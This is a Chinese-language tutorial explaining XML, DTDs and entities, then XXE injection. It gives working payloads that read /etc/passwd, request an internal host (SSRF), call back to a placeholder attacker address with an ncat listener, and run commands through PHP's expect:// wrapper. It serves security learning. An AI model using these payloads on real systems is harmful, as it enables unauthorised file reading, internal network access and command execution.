XML

XML 指可扩展标记语言(EXtensible Markup Language),它是一种标记语言,XML 不会做任何事情,它被设计用来结构化、存储以及传输信息

DTD

DTD 文档类型定义(document type definition),XML 文档的格式规范,用来描述 XML 文档的结构,包含元素、元素之间关系、属性的定义规则

  • 内部 DOCTYPE 声明
1
<!DOCTYPE 根元素 [元素声明]>
  • 外部 DOCTYPE 声明
1
<!DOCTYPE 根元素 SYSTEM "文件名">

ENTITY

ENTITY 用于定义可重用的文本片段或数据,通过引用插入,主要用于简化文本管理或引用外部数据

它可以理解为变量,必须在DTD中定义申明,然后在文档中的其他位置引用该变量的值

  • 内部实体
1
<?ENTITY 实体名称 "实体值" >
  • 外部实体

外部实体是在 DTD 中使用语法引用外部的实体

1
<!ENTITY 实体名称 SYSTEM "URI">

URL 根据不同的程序支持不同的协议,如下:

此外,PHP 安装扩展后还可以支持更多的协议,如:https、ftps、zip、rar、ssh2.shell、ssh2.exec、ssh2.tunnel、ssh2.scp、ssh2.sftp

  • 外部参数实体
1
2
3
4
5
6
7
8
9
10
<!-- test.xml -->

<?xml version="1.0"?>
<!DOCTYPE root [ <!-- 根元素 root -->
<!ENTITY % param1 "HELLO">
<!ENTITY % param2 "World"> <!-- 参数实体 -->
<!ENTITY % dtd SYSTEM "./info.dtd"> <!-- 外部参数实体 -->
%dtd; <!-- 实际引用外部参数实体 -->
]>
<root>&content;</root>
1
2
3
<!-- info.dtd -->

<!ENTITY content "%param1;%param2;">

XML 注入

XXE(XML External Entity Injection),即 xml 外部实体注入漏洞

XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、dos 攻击等危害

XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件

1
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

如发送上面的检测语句后可以在页面中看到存在 “Hello XXE” 的字样,则证明表实体成功被解析

  • 读取文件
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
  • SSRF
1
2
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]><foo>&xxe;</foo>

  • RCE

在服务器上监听端口

1
ncat -lvkp 8081

然后发送以下 xml 语句尝试是否能够建立连接

1
<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE data SYSTEM "http://attack-ip:attack-port/" [  <!ELEMENT data (#PCDATA)>  ]><data>4</data>

在安装 expect 扩展的 PHP 环境中,可以使用 expect 协议执行命令

1
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>